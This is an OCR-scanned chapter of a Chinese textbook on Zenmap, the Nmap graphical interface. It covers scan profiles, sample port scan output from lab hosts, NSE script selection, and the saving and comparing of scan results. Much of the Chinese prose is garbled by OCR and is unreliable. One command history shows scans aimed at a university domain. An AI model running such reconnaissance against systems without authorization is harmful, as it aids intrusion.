Q EEFEER . AT 2R A S Rt e, DER G H P 2R

Q RRBEE . TGRSR R LI R s

A5 HoBgE ] Wil i Zenmap DA Ga] #E 47 45 1 & FRERAE .

5.2 Ji3h Zenmap

i 5-1 frs, ] AEAR21TH %I A Zenmap >€ )3 3l Zenmap,

B EER: C\Windows\system32\cmd.exe [ jelE] lﬂ

K=

icrosoft Windows [R77R 6.1.76011] N
Hﬁ'fﬁﬁﬁﬁﬂ_ (c?> 2089 Microsoft Corporation, ﬁ%ﬁbﬁﬁfﬁ_{”

iNUsersSsadmin>Zenmap

Bl 5-1 Gl 2177308 3 Zenmap
B HREAGE A 5-2 P79 Zenmap A5 18 EFRKJE 30 .

&
Jrmar

] 5-2 zémnap (1) 5 T e =X
FTHF Zenmap % 1 2Z )5, RFILIERUIE 5-3 PN Zenmap HHH o
WEARARE H] Zenmap 05, H 7 EAE HR)q 9 HHERE o A B PR TP bk 535 547
SR 5 B e T A R EEL B ol a4 . XA Zenmap 252K FHBRIA A Intense scan fi &

14 . Zenmap FXFHEHEAE A ER 5 Nmap 564 —FE, 54, Zenmap Ay HihEAL A B—A
TR ERKE, XNPRIEPRA T Z R0 A H i HAR. WSRARZE S 2 HH 2 arke il i) B
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B, BUAT LA RIS SRME h 364 . Zenmap i AT A A, W ft 7 2R AR K
HACE . FATATLIAEGNE 5-4 PR i F A8 RAE i X Lo fic &

T ——— e
HimE) IRED EEE) #EH)
Btx : v~ | BEE: Intense scan - |Eﬁ'| ‘E".Aré‘ |

L wwan

& 5-3  Zenmap FEEVE R

’ﬂ”-» Zenmap i m__h_ ?I - ‘_ _l ._._- -—— hl. T I =l “
HiME@ IAD EHEE &8H
Bi5: |10.1630.0/24 v| E= intense scan lz] (2] (=
Fp |nmap T4 -A -v 10.16.39.0/24 Intense scan |
. Intense scan plus UDP

W‘E Nmap#id | #0/=01 | it | 6185 Intense scan, all TCP ports i
BIERHK « 4 o | Intense scan, no ping j |E'E;EEI |

Ping scan

Quick scan

Quick scan plus

Quick traceroute

Regular scan

Slow comprehensive scan

Kl 5-4 Zenmap HECE T HI5IFRIE

S 0/0%H], Wl ml
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Al Nmap () BB EEAAR], Zenmap 1] LAFE S ) [A) B 5475 HH HRAE o ORE T LA
B M HT I T BT 24258 T o Zenmap FIZEMBIA% H B R FRAPIRZS, 2i%#E “ Nmap Hi
7 EIRES, AOER AR REARNEME R SHMEORN, A0SR0k B8 A
FRET I HFRFEWL. Zenmap SR A% H A Nmap B —HH), XMET2E5 L, 54
T SR Zenmap A MY 5 SRR, “Nmap Bty S0/ 00 RN “EHLE40 “H
fili” A E AR

By “We 0/ FHL IR, Zenmap A I EARRE WS I B9 FALE B TR IR
A i i B e 5 B I B9 EREXT R 1 H N A A THERF -

M ERE PR AL R, REEP T EAIRSPE—G L, ANE L
5-5 Frzs s iz FAL E IR 3 H AR 3515 B

o - o B W e )
*- Zenmap . ! = -

M@ TAED REE) S8

Bix= | 10.16.39.0/24 B EE:  Quick scan IEI B

@< nmap -T4 -F 10.16.39.0/24

=il BS || Nmapt@i| B0/ | 2| zneE | ae
BEES 1 - 4 < B0« BE 4 BE < fEE P

®  bogon (10.16,39.3) ® 135 +tcp open msrpc
bogon (10.16.39.6) @ 139 tp open netbios-ssn

bogon (10.16.39.8) ® 445 tcp open microsoft-ds

bogon (10.16.39.15)
bogon (10.16.39.18)

bogon (10.16.39.23)
bogon (10.16.39.31)
bogon (10.16.39.39)
bogon (10.16.39.44)
bogon (10.16.39.139)
bogon (10.16.39.144)

T T E ® E EARNE ® E

SR
=7 16/1638 THiTE: )

Bl 5-5 LB T FHIR S {E S

YIRFEAM GG RE RS RN, TR B & FARkS, B Hp—T0,
A g A% w2 i 5-6 PR AL AR5 1 EVUE B -

Nmap 1% 775 Zenmap #H[E]. % )5 3h Nmap J5, “ Nmap &7 2530 K BT i
Al . B 5-7 P25 T Nmap HrEHS

MTELAMENSN R TSP —ANBRENZE, il “EVE” SRS s R
B EVUIRS MRS R AFE S, AN 5-8 fiw.



£ 5% Nmap NEFHEETER

Zenmap <« 67

< Zenmap o
HAiEE) IAD BEEE) #E8IH)
Eﬁ: 13.16.39.0}'24 - E: Quick scan - [m} ‘ Eirjé

#&<: nmap -T4 -F 10.16.39.0/24

o= L BB | | Nmepmm| mO/EH A | sess|

Bs s |a <« =HE - w0« HY RS ES ‘ ||
ﬁ" | ® bogon(10.1639.8) 80 tcp  open
P
1 @® bogon(10.16.39.205) 80  tcp  open ‘-
ttp

@ bogon (10.1639.218) 80  tcp  open |
http-proxy
https =
1s

I

LSA-or-nterm

microsoft-ds —
ms-sql-s

ms-whbt-server

r‘nsrpc I‘
mysq|l -
S 16/162H] THSE: O

K 5-6  SRHUEAHRIR 55 /9 EHLE B

I | D =)
; S ITBO) HEBPE) EIH)
| Bt= |10.1630.0/24 ~| = | Quick scan ~ B
W
| #<: |nmap -T4 -F 10.16.39.0/24 m
] B | | nNmepws |mo/zn| | snes| as |
BEEE 1 ) - nmap -T4 -F 10.16.39.0/24 - g
®  bogon(l Nmap scan report for bogon (10.16.39.239) -
w bogon (1 Host is up (0.8018s latency).
All 188 scanned ports on bogon (18.16.39.239) are filtered
] l::-ogon (1 MAC Address: DB:15:0D:D8:4F:E3 (Tp-link Technologies)
[ bogon (1 Mmap scan report for bogon (10.16.39.44)
Host is up (0.88832s latency).
- bogon (1 Mot shown: 90 closed ports
PORT STATE SERVICE
- bogon (1 135/tcp open msrpc
139/tcp open netbios-ssn
w bogon {1 443/tcp open https
] bogon (1 445/tcp open microsoft-ds
1825/tcp open NFS-or-IIS
e bogon (1 1026/tcp open LSA-or-nterm
1027/tcp open IIS
- bogen (1 1028/tcp open unknown
3389/tcp open ms-wbt-server
v bogon (1 i BE8E/tcp open sun-answerbook H
1 m ’ Mmap done: 256 IP addresses (13 hosts up) scanned in 14.48 seconds

—— =

# 5-7 Nmap PN
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v Zenmap EMH
Hida IAD REEP) "EEH)
Bt |[10.16.39.0/24 B BE=: Quick scan B HiE| EiE
#&%: nmap -T4 -F 10.16.39.0/24
Lot )| B8 | | Nmapws|mO/En| m =0EE mE
BEES 4« =L - | |=ibogon (10.16.39.3) =l |

#  bogon{l RS !

. bogon (1 br e up |

] bogon (1 Tonsl: 2 E

] bngan U Hﬁlﬂ. 0

- bogon (1|2 FToasE]: 98 E

®  bogoot EBamEE0: 100 .

M . egRTiE:  FA] u

ogon
? s=Em  *0
L bogon (1
. bogon (1 S ISty 4
) IPva 10.16.29.2
L bogon (1 1Bv6 a1 )
¥  bogon{lp MACHEHE:  F8:0F:41:38:D3:0D |
ol ! 5 ENE
o e | -

#5-8  HARA EHLRE MM IESFRFF B

5.3 Zenmap HAnfE

AATNG] Zenmap TE T ) FEAERAE

1. IE— 1R amEE O
WERABAER A EREE O, FTLUZESRREAR “Bi” S ady s n” me,
WA 5-9 Frs.

. Zenmap I LK * m L l—;@lﬂ

Hia) ITRT EEE) FEH)

- IS0l T IZI EE=: | Intense scan IEI ‘Hﬁ Eld
= fTHEE0) ¢+ m——— = | R
&+ EERIEOTHEE0)
el REEIEE) CUl-S = | st | zwumE | 2@
RIFEFTRRREI B RD Clrl-Alt-3
= © ' v 10.16.39.8 B s |
= FTED.. P
re_response: supported o l
% =0 Cirl+WwW _signing: disabled (dangerous, but default)
@ Bt cll-a 1led: Server supports SMBy2 protocol
TRACERCQUTE
HOFP RTT ADDRESS

1  8.27 ms bogon (18.16.39.8)

NSE: Script Post-scanning.
Initisting MSE at 11:88 I
Completed N5E at 12:88, 8.88s elapsed

Initisting NSE at li:e8

Completed N5E at 12:88, 8.88z elapsed

Post-scan script results:

| clock-skew:

|_ -21s: Majordity of systems scanned

Read data files from: C:'\Program Files (x&R)\Nmap

05 and Service detection performed. Please report any incorrect results at
https://nmap.orgssubmits .

Hmop done: 1 IP address (1 host up) scanned in 184.42 scconds ‘
il . Raw packets sent: 2832 (91.2486KB) | Rcvd: 18 (1.114KEB)

n
=

o

Kl 5-9 7E Zenmap HPAIE—ANFT B O

[T W W
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2. 1BH— T

MR F LA — D IEAFTAMNE O, ol DIESERRA ‘7 Eadd B
>, BCE R E O E T p AR

3. RE— Mk

MEAERE DR, TUERSRERN “Ai” g “RERHRT md, B

FIPRAAR AN “ xml”

5.4 {diJl] Zenmap ) ap 2 ) SR 61 dt g 2>

M FH Zenmap X PG #HATHI A BHME, TTAUCIZAREER B R Z M4 . Zenmap 4L
ET—THENMAHS, MEEHE-— Nmap ar2 09HeE, 7T LLES I 7 X588 .

BB R Ry “BoE” R, RGP R il E S wd, W 5-10
IV

©. Zenmap I T —— "":"" l:'|E||IE5

fAka) IRO BEE) =8H)

Bt | SN S Ak ] EE: Intense scan B8 |EE
v REETEREE) 0 L Tl I ——————

29T nmap -T4 -A v

L=t | B2 | Nmopms | m0yEe| mt| s o
BfeEg « THL

BB

&l 5-10 7E Zenmap H i shfp4m] 7

B — N E gy, HAP A 8 MR, SF— i RE “HE” . AR EAIE
— M ECESCF, EXHE DI A— P ECE SR, Wl LR AR ER, W 5-11 Fis.
WR)GHal “HT IR, EXANEIR A, SR S =AY FRGRE, nE 5-12

JIT7
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- EEREE —————— o [
nmap -T4 -A -v 10.16.39.8
EE | 58| ring| Bz | B5 | 8| 2t | =1 -

Profile name
EEEE
This is how the profile will be
ESviEE  211.81.200.8 identified in the drop-down 1
A Eﬂlﬁfﬁllﬁ?ﬁﬂﬁﬁﬁﬁﬂﬁg—é‘mﬁﬁmﬁq combo box in the scan tab. |
|
'
]
Concel| | [ @R
Kl 5-11 BB gaiEas P ECE LR
nmap -T4 -A -v 10.16.39.8
EE 98 ping| B2 | BiF | 8| Ho | =9 *
Profile name
=3 ud il
. This is how the profile will be
Bix(EE): 10.16.39.8 identified in the drop-down
TCPEE: x El combo box in the scan tab.
Non-TCPSE 7c El
S &8 (-T4) ]
V| ERFESER/TEISER (-A)
[[] EfeZsted (-0)
] RRErEl (-sV)
I"| 1dlef3#&(Zombie) (-s)
| FTP bounce™i= (-b)
| ZEFEREDNSEENT (-n)
[] 1Pv6zzHF (-6)
Cancel| | [ mmmm

& 5-12  BCEgEASFRRHRIR

Rk “TCP B ThizZE, wE#: TCP HffAEL, WA 5-13 .
“Non-TCP %" TFHiFIFE—ILMFE 6 LT, UK 5-14 Fios,



E5E

. EEsEs

Nmap HIEFAGEET B

Zenmap

nmap -T4 -A -v 10.16.39.8

] FTP bounceX®= (-b)

| ZRRFEDNSEAT (-n)
[”] 1Pv6z#F (-6)

SCTP INITELHEE (-sY)
SCTP cookie-echois[035E (-sZ)

EE| 5% ping| 2| B | B | He| =0 i
. IPvETiS
HrEikla
ERIPveER,
BRET): 10.16.39.8
TCPHE: x EI
Non-TCPSi= x
A iElEkE: ACKISHE (-sA)
ERFE=ER/EISER (-A FINSEE (-sP)
I miEZEHEm (-0) MaimonB3iE (-sM)
] keSSl (-sV) NulHS#E (-sN)
] 1dle3iE(Zombie) (-s) TCP SYNISES (-s5)
] FTP bounceX= (-b) TCP connecti3iE (-sT)
[ ZHEEDNSEENT (-n) EIELEE (-sW)
] 1PvesTis (-6) Xmas Treef3fE (-sX) |
lgancel‘ ‘ Eﬁ#ﬁﬁ‘
5-13 &8 TCP HRiER
& ==
EEEEes - A
nmap -T4 -A -v 10.16.39.8
EE 57 ping| 92| B5 | B | 2| = =
IPv6EiS
HiEikla
ERIPveaRE.
BEEE): 10.16.39.8 :
TCPHE: 7 E l
Non-TCPiE#E x E :
e T i
V| BEFESE/REISER (A UDPSEE (-sU) |
| mfezsiedl (-0) IPHHUERE (-s0)
] Bedsdl (-sV) SIE=EE (<)
] 1dle¥3iE(Zombie) (-sI) Fe 54 (-sn)

lgancel

L EEER

K 5-14 £+ Non-TCP HifiH =

B ()AL — AL FE 6 A~k 5i, Wi 5-15 Frs.
“Fi” ETRPdass 7 Mol EENE, HpE— B RHERRS 3 Nmap 2,
“Ping” BEWI-KPaL# T KES Ping A XMEAE, ATLIERE “AHiZAIA ping 2 FHL7

i HA B 83T

UK 5-16 P,

K

71



72 » #EHZER——Nmap MELLEITHEARBH

nmap -T4 -A -v 10.16.39.8
BB =7 ring| B3| 85| 8| 5| = o s
IR '
EHRIPveaEE,
St5ETE): 10.16.39.8 |
TCPiERE: % [~] !
Non-TCP$33# % E g
B EEHE: 8 (-T4) -] ,
BRFESE/REIEET (A £ i
[] SfEEsEM (-0) & (-T0)
] Rl (-sV) == .T1)
] 1dles35&E(Zombie) (-sI) 348 (-T2)
[”] FTP bounceXZ= (-b) F= (-T3)
[7] R RFDNSEET (-n) B85 (-T4)
] 1Pvesess (-6) BT (-T5)
‘gancei| ‘ Eﬁ#ﬁﬁ‘

E 5-15 AR AR I H a0

. EEsEE I R =]
nmap -T4 -A -v 10.16.39.8
EE|g® fing Bz BE| 8|2z = b

ICMP ping
Pingiftli
S — S : BE—MCMP echo request
[ iFmz iR pingiE2 =1 (-Pn)i (ping BEFENBIRESTE.
[] ICMP ping (-PE) |

[] ICMPETEEEX (-PP)
[] ICMPRIEEREEEEX (-PM)
[] ACK ping (-PA) |

] SYN ping (-PS) |
' || UDPEEM (-PU)
i [] IPProtoi®M (-PO) I
: [7] SCTP INIT ping#Elll (-PY) ‘
Cancel { Eﬁ#ﬂﬁ‘

S

/5-16 “Ping” HET -k

BAT IR S T Nmap PETA SCRFBUIIAS, A0SR A BB AR X 1 AR rp A A B
A AT PIFEZE NS Zerh e, Wi 5-17 Bos.

£ “HbR" mIRH, o LINEAREE B k8. A0 Bl DAAShn @l e 32401 /7 R 2%
AR HAB ) #8100, AN 5-18 Ffrzs



£ 5% Nmap NEIFAEELE—Zenmap « 73

r:!. l —— L@l |4.

ey T e

nmap -T4 -A -v 10.16.39.8
BE | 58| ring| BT Bi7| 8| == =t o
[ ' HEZE A pingiEExH]
“+ |Categories: discovery, safe -
. : I 5| | EEEINZETESEGEIE
] address-info Retrieves information from a listening i 2% BEFEFREER.
U afp-brute acarsd daemon. Acarsd decodes ACARS

(Aircraft Communication Addressing and
Reporting System) data in real time. The
| afp-path-vuln information retrieved by this script

incliidac tha dsaman varciam ADT vearciam

£

] afp-ls

-

| afp-serverinfo

[Tl afp-showmount i
. Arguments values -
] ajp-auth R 3
| acarsd-info.timeout
[T ajp-brute
: - - acarsd-info.bytes -
| ajp-headers il 5
i 4 | m | b

]

Cancel| | [ | I

R 1 L= e - . i ——— g

A 5-17  “JHA” mm-R

nmap -T4 -A -v --script acarsd-info,afp-path-vuln 10.16.39.8
me| 5@ | ping| 2 BF 8| =z = 28
afp.password
HiFikll
; The password to use for
] .mmﬁﬁ (--exclude) authentication.

i
-
]
2
a
=
iy
=h
a

o] )

Kl 5-18 “Hirn" Wi+

PR TR AL A —SRRER I E R, Bl B R YR b Rt | FE 8 Ak i A, AN
& 5-19 A7 o

“He” SRt shieiE 2, 4% TTLEMIEE . SR n . Sk ipgs
IhiE, A 5-20 Fiw.



74 » EHZEE—Nmap MR LLEITHEARBMW

J=r— ) - L e
nmap -T4 -A -v --script acarsd-info,afp-path-vuln 10.16.39.8 [E]ﬁ‘
EE |58 | ring| % | B 5 =2 | =W ko

EEIRIPHEL
IR
i | EEfEERTARIEEaNEON
"] =AERRiE s (-D) || ek, |
| =ERIPHEsE (-5) :
. Example input:
] EE®EO (--source-port) 64.13.134.52 I
] EERE (o) |

concel| | [ smEx
& 5-19 “UR” iR
r N B 1-'-—"-"?" T - E ,
nmap -T4 -A -v --script acarsd-info,afp-path-vuln 10.16.39.8
EE |88 ring Bz | B | 8 H= &3 wH)
AFEEESINER
Byl
, | EEENEEESTRNERINED,
" BAEEnEINER | i
] EEPvaEEREM) (-t | |
| #EIPE ()
RS () : |
] EEEE (-d) [&] I
|| 2E8IBE= (--packet-trace)
| =EEsTaLEaEE0 (-0
[] BE2BF80882 (--traceroute)
| BAEFENE (--max-retries)
I
cancel| | [ &

A 5-20 “HAth” pEIm-f

i ERT IR T RERFF R PERET, i 5-21 FR.
X e AR SE R By ORI FRAEL, T DA AE— ST Nmap FHliar 2o
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£ 5% Nmap NEFHEETER

Zenmap

- EEAs _ - = |
nmap -T4 -A -v --script acarsd-info,afp-path-wuln 10.16.20.8 =
E=| 25| ping| B2 B B[ me = ﬁaamw
B iEl#EEE

1 | MEEA ST EREEREE , 1
U SR B (--host-timeout) HERAEN. HEacBe . ||
] B)MEREEART (--min-rtt-timeout)

] HEHERRABET (~initial-rit-timeout) 5:?:‘;'2;“9“‘
| BFFFTEA=N2E (--max-hostgroup)
] B)FTHEUENIRE (--min-hostgroup)

: || BAEERRTEY (--max-parallelism)

|| [ 8rEmaamEs (-min-parallelism) |

! | BAAERIER (--max-scan-delay) .|

| B NFRNEISEER (--scan-delay)
Concel | [ ®EER

“%H‘ ] ﬁ]ﬁ_fz‘

A 5-21

i bo—

5.5 *} Zenmap ([FNC BT E

Zenmap LS T —S0H A ERIAEC B SO . M8 T — ECE S Z S, XN Nmap
At W/RTE Zenmap A2 1T, WRA BB BEE—/ECE XM, "TRIEE “BiE” T
P RHE P rh EE A ECE , W 5-22 s

/ <& Zenmap I
HEE@ IRM EEE) #BIH)
Btz |10.16.39.8

o

B EE: Intense scan plus UDP

nmap -s5 -sU -T4 -A -v 10,16.39.8 Intense scan

Intense scan plus UDP

=l

==

-

MIERR ¢ EW

bogon (10.1

MNmapiad

0/

fast

Intense scan, all TCP ports

nmap -T4 -A -v 10,16.39.8 Intense scan, no ping

challenge_respanse: suppo Ping scan
message_signing: disabled .
smbv2-enabled: Server suppo Quick scan

1
|
|_
-
TRACEROUTE Quick scan plus

HOP RTT ADDRESS

uick traceroute
1 .27 ms bogon {1B.15.39.3Q '

Regular scan i
NSE: Script Post-scanning.

Initiating NSE at 12:00 Slow comprehensive scan

Completed NSE at 12:88, €.88s5 crapscu

Initiating NSE at 12:09 |
Completed NSE at 12:86, ©.808s elapsed

Post-scan script results: |

| clock-skew:

| -21=: Majority of systems scanned

Read data files from: C:\Program Files (xB86)\Nmap

05 and Service detection performed. Please report any incorrect results at

https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 184.43 seconds ‘
Raw packets sent; 2832 (91.248KE) | Rcwd: 18 (1.114KE)

m

/A 5-22 “HEiE” THFIREFRHANE



76 » EHZIR—Nmap WELLHEIHIARIBHW

SRJE RS EAE B “BCE” SREL, B “YeErhECE” A, Wi 5-23 Fs.
(. - T L L |

Aim(a) TR EIEE) HEH)

=, Bl E S (P) Cirl+P : IIII —
Bfs |10.16.39.8 r| BEZ: Intense scan plus UDP -EE B
iV BREPEEE) Cirl+E :| |Z|

S | nmap -55 -sU 14 -A v 1016398

Lozt | BE | | Nmopm | mOymn | mst | =0 | o

EEEEE 4 =) nmap -T4 -A -v 10.16.39.8 B
- bogon (101

1 —
| challenge_response: supported

| _ message_sizning: disabled (dangercus, but defaLlt)
| _smbwZ-enabled: Server supports SMBv2 protocol

o

TRACERCUTE
HOP RTT ADJRESS
1 8.27 ms bogzon (18.16.39.8)

MSE: Script Post-scanning.
Initiating NSE at 12:88
Completed MNSE at 12:88, 8.88s elapsed
Initiating NSE at 12:88
Completed NSE at 12:88, 8.88s elapsed
Post-scan scrist results:
| clock-skew:
| _ -21s: Majority of systems scanned
Read data files from: C:“\Program Files (x8&)“Nmap
05 and Service detection performed. Please report eny incorrect results at
https:// nmap.org/submit/ .
'y = | . Mmap done: 1 T2 address (1 host up) scanned in 184.43 seconds
— Raw packets sent: 2832 (91.246KEB) | Rcwc: 18 (1.114KB)

T T |

& 5-23 Bl “YeHEPECE” e
ZJ& Al AW A BT i BC B a2 — BSOS N, ANl 5-24 IR

- EEeEe [ T =
nmap -sS -sU -T4 -A - Hﬁ|
BE 56| Ping| B3| B1F| 8| ma | =m i
EEEE
EECHE Intense scan plus UDP
fent Does OS detection (-0), version detection (-sV), script
scanning (-sC), and traceroute (--traceroute) in addition to
scanning TCP and UDP ports.
| ‘gelete‘ |§ancel| ‘ Eﬁ#ﬁﬁl“

& 5-24  %5%E Zenmap THIHECE

5.6 % Zenmap 45 Rt 145 PR L &%
Zenmap 28 45 R — MR B EEE D, MR LUK HARF I —1 XML



5 5% Nmap HEFMWEIFLE—Zenmap & 77

e AR REBTR R D AMER, W] DR B “TR” S8, RRH
i AR “ERRPMESR” S, i 5-25 Fs.

<& Zenmap L':' (=] Q
HiEa) TRET HEP) FEEIH)
— a i+ 0 .
Bix |1 R 2158 |E| EE: | Intense scan plus UDP IZI B
o, i R Ctri' [
|1 0, ST CtrieL 28
i =4l ” BRE Nmapkiti | i00/=54 | 353t | EH188E | 59E
EiETE A ZF] nmap -T4 -A -v 10.16.39.8 |Z|
“ bogon 101 | | ‘nallenge_respanse: supported -
| _ message_signing: disabled (dangerous, but default)
| _smbv2-enabled: Server supports SMBw2 protocol
TRACERCUTE
HOP RTT ADDRESS
1 @.27 ms bogon (18.16.39.8) |
|
MSE: Script Post-scanning.
Initiating NSE at 12:04 I
Completed N3E at 12:88, @.88s elapsed i

i Initiating NSE at 12:8@
Completed MNSE at 12:88, 8.88s eslapsed
Post-scan script results:
i | clock-skew:
| -21s: Majority of systems scanned |
Read data files from: C:“Program Files (x8&)%Nmaz
0% and Service detection performed. Pleaze raport any incorrect rezsults at
https://nmap.org/submity .
Mmap done: 1 IP address (1 host up) scanned in 134.43 seconds
Raw packets sent: 2832 (91.246KB) | Rowd: 18 (1.114KB)

m

|

[l 5-25 Zenmap HHy “HEREFAMEIR” Tk

XIS FT I ZRIEIOEHE, AT LAFESS 25 T 1 SCARE R BN Fhbrofe, 4l 5-26
FIE 7 o
- BBIE - I E= R X

Sz | €

iam

nmap -
nmap -
nmap -0 -F --fuzzy --osscan-guess 192,168.153,130

nmap -0 -F --fuzzy --osscan-guess --packet-trace 192.168,153.130

I nmap -0 -F --fuzzy --osscan-guess --packet-trace 192.168.153.130

--fuzzy --osscan-guess www.tstc.edu.cn

F
F
F
nmap -0 -F --fuzzy --osscan-guess 192,168.153.130
nmap -0 -F
F

| nmap -O -F --fuzzy --osscan-guess www.tstc.edu.cn

‘ nmap -p 80 --script http-methods www.tstc.edu.cn

nmap -p 80 --script http-methods --script-args hitp-methods.retest www.tstc.edu.cn

nmap -p 80 --script http-methods --script-args http-methods.url path=/mypath/ www.tstc.edu.cn

] m ]

Matched 114 out of 114 scans. i Close ‘ ‘ +1!1'ﬁ ‘ ‘ Open

& 5-26 Zenmap i “HWREM” XHEHHE
Al AR AR “FRiR” RS AP S FERIARE, & 5-27 Fis.




78 » EHZIE—Nmap NELTEEITHEREH

* REREE —
“ » ‘J
s [l + -
Date
Host In Route
Include Directory
Keyword sscan-guess 192.168.153.130
Operating System sscan-guess --packet-trace 192.168.153.130
Options sscan-guess --packet-trace 192.168.153.130
Port sscan-guess 192.168,153.130
Profile Name sscan-guess www.tstc.edu.cn
Service sscan-guess www.tstc.edu.cn
Target p-methods www.tstc.edu.cn
nmap -p 80 --script http-methods --script-args http-methods.retest www.tstc.edu.cn
| it '
Matched 114 out of 114 scans. [ Close ] [ +E!JD ] [ Qpen

K 5-27 “Feik” I
Bilan, anSem i 80 LA LAY, AILAUNE] 5-28 Fran i ik £E.

#3%: | open:80 \ ] ﬁ’m‘ &
Port El&d is lopen BEE

=E -
nmap -O -F --fuzzy --osscan-guess 192.168.153.130 =

| nmap -0 -F --fuzzy --osscan-guess --packet-trace 192.168.153.130 -
| nmap -O -F --fuzzy --osscan-guess --packet-trace 192.168.153.130 |
' nmap -0 -F --fuzzy --osscan-guess 192,168.153.130 i
nmap -O -F --fuzzy --osscan-guess www.tstc.edu.cn !
I

nmap -0 -F --fuzzy --osscan-guess www.tstc.edu.cn

nmap -p 80 --script http-methods www.tstc.edu.cn

nmap -p 80 --script http-methods --script-args http-methods.retest www.tstc.edu.cn
nmap -p 80 --script http-methods --script-args http-methods.url path=/mypath/ www.tstc.edu.cn I|

nmap -p 80 --script http-methods --script-args http-methods.urlpath=/mypath/ www.tstc.edu.cn

i | b

H Matched 57 out of 114 scans. l Close ‘ ‘ +iE_;I]n | | Open ‘

& 5-28 18Ry 80 tRAN “open” HYFIFHZE R

X E—N0% HEThRER R, WREEL W ME— B HEERE, DIOREXA iz
ERRAETAML, Fln, MA—-NRELETH TR ETH, ol T T RILH B k5% A
HEH AR DT RIP R, XBTREAME R Z T2 )5 257 B . A B RO s 2 R LR
PRI AR S5 R <

Bl Xt 192.168.153.131 AL THA, 7T LUSSGE 5-29 Fron A4 % .

SR BHX R HESE D) 20161118d11h18m.xml A& RAERESE, WA 5-30 Fin.



= " [=]
£ 5% Nmap HNEFAERETLR—Zenmap
< Zenmap I l = | E = J
AfdE IRO HEERE BN
= | | E= | (o] (w
i 192168153131 mE Hiw| |
#%: |nmap 192168.153.131
W| B Nmap$d | w0/=1 | b5t | 88 | 58
S 4 ] nmap 192.168.153.131 BE
(7] bogon (192 23/tcp  open smip -
42/tcp open nameserver
53/tcp open domain
B0/tcp open hitp
119/tcp open nntp
135/tcp open msrpc
139/tcp open netbios-ssn F
443/tcp open https |
445/tcp open microsoft-ds
563/tcp open sneus
1825/tcp open NFS-or-1I5 '
1826/tcp open LSA-or-nterm
1629/tcp open ms-lsa L
1838/tcp open iadl r
1831/tcp open iad2 :
1635/tcp open multidropper !
3372/tcp open msdtc !
MAC Address: &8:8(:29:98:DF:C3 (VMware) |
1 @ ’ Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds _I
st | -
] * —
K 5-29 % 192.168.153.131 FHLHATHIHE 45
. GEEE ]
Name: 20161118d11h18m
Save in folder: ‘ Program Files (x86) HNmap
Places Mame -~ Size Modified -
" Search =1 Angel_tem 2016/5/11 ERi=
[l @ Recently Used = hp_lj1020_Full_Solution 2016/10/9 EHiE
BRI B Adminicirator ) kennethreitz-requests-d0f7a51 2016/10/13 =AM |-
|
' 5 Desktop [~ MyDownloads 2016/10/10 EEE—
| o weEmE ) " Program Files 2016/10/9 2EEE
[] ZiteEEs (D) [ Program Files (x86) Yesterday at 15:50 —
. EiEiE (E) 51 Python27 =58—
# DVD RW 022 (F) | | Python34 2016/6/3 ERA
< LHE (H:) = Qiyi 2016/4/25 EEE—
[ requests 2016/10/13 EEA0T
[ test 2016/11/11 E8f0
) Users 2016/4/25 E8—
= Windows 2016/11/10 E&AU
+ (g = 2016/10/9 EEEH
FEETEER, Nmap XMLIES (xml) [~ |
|
| Cancel || save

B 5-30 LL20161118d11h18m.xml j‘gﬁ{%ﬁﬁ@j’ﬂ?ﬁ%ﬁ'ﬁ
SRIGXT 192.168.153.131 EMLHH T — Aok, e & HTTP k%, JF)8 FTP ik

%, SRIETEXMH# THM, HRAE, WK 5-31 s,

K

79



80

» EHZE—Nmap BT EHIHIAREM

s

e

MName;

21061118d11h37jn.xml

Save in folder: ‘ Program Files (x86) HNI‘I‘HPI

Places

|, Search

& Recently Used

[ Administrator
[ Desktop
& FHEEEE ()
Bl Fiegs (D))
- FHEEEE (E)
# DVD RW 250=% (F)
== LHF [H:)

Create Folder

Mame + Size Modified =
[= licenses 2016/10/8 EEA7~
B ndiff 2016/8/29 E8E—
= NSE 2016/11/4 ERRT (E
[~ nselib 2016/11/4 E8AH
[ py2exe 2016/10/8 E&i7~ |
[ scripts EB—
[ share 2016/10/8 E887~
3rd-party-licenses. it 69.5 KB 2016/9/28 EEi=
» ca-bundle.crt 2524 KB 2016/9/29 EEFT
| CHANGELDG 6773 KB 2016/9/29 EERIM
| COPYING 26,7 KB 2016/9/28 EEf—
| COPYING_HIGWIDGETS 259 KB  2016/9/29 EE{MM
" iconl.ico 147 KB 2016/9/28 E85—
| ipvd-address-space 0 bytes  2016/11/4 EEAH

-

- ' o 1 ' o -~ - s e rm T

BEEASA: Nmap XML (xml) [ |

| -

K 5-31

£ Zenmap ', BAdSHAE A “TH” SEH, )5 R “AUPRIEMT S, ik 5-32

FRi7N .

= Zenmap

Xt BAR AL TE U UG MRS R T R AF

Hida) ITHT EEPR)
o R RN
L HUEEEE R
L ITEEL

B= |1

np'?: " i

EEEI(H)
Ctrl+D
Ctrl+F
ctri+L °-8

IEI EEE: |Intense scan plus UDP

| =

[ & |

EEEHw «
-5 bogon (10.1

Nmap$idl | &0/==H | st HiE
nmap -T4 -A -v 10.16.39.8 |E|

| emmrimriemm s [P
| challenge_response: supported

| message_signing: disabled (dangerous, but default)
| _smbv2-enabled: Server supports SMBvZ protocol

TRACERQUTE
HO® RTT ADDRESS
1 @.27 ms bogon (18.16.39.8)

MSE: Script Post-scanning.
Initiating NSE at 12:88
Completed NSE at 12:88, 8.88s elapsed
Initiating WSE at 1Z:8@
Completed N3E at 12:88, @.88s elapsed
Post-scan script results:
| clock-skew:
|_ -21s: Majority of systems scanned
Read data files from: C:%“Program Files (x8&)'\Nmap
05 and Service detection performed. Please report any incorrect results at
https://nmap.org/submity .
Mmap done: 1 TP addrsss (1 host up) scanned in 184.43 seconds
Raw packets sent: 2832 (91.246KB) | Recwd: 13 (1.114KE)

4 [ |

¥l 5-32  Zenmap FHEEHE XTI

T FEA” M “FE BT RO R B FER, Akl 5-33 R




£ 55 Nmap NEFAEETER

E=E==c=)

3

“v. geeERLLS . — -~

aEA HH&B
| ] [goen | oom|
o e HEEEE

Close

Zenmap

GARTE T PRI R PR KENTEIAR, TLAREAME “Open” #HHDR FREMGIR . 2t
T Z )G, Zenmap o R HPIIRESRIGAIE . &l 5-34 25 B UCHH HEXS OS5 R

& 5-33  Zenmap T E5 R HEXTE

+Nmap 7.3@ scan initiated Fri Nov 18 11:30:12 2016 as: nmap 192.168.153.131

bogon (192.168.153.131, ©0:8C:29:98:DF:C3):

Host is up.

+Not shown: 982 closed ports

PORT

22/tcp
25/tcp
42/tcp
53/tcp
+88/tcp
119/tcp

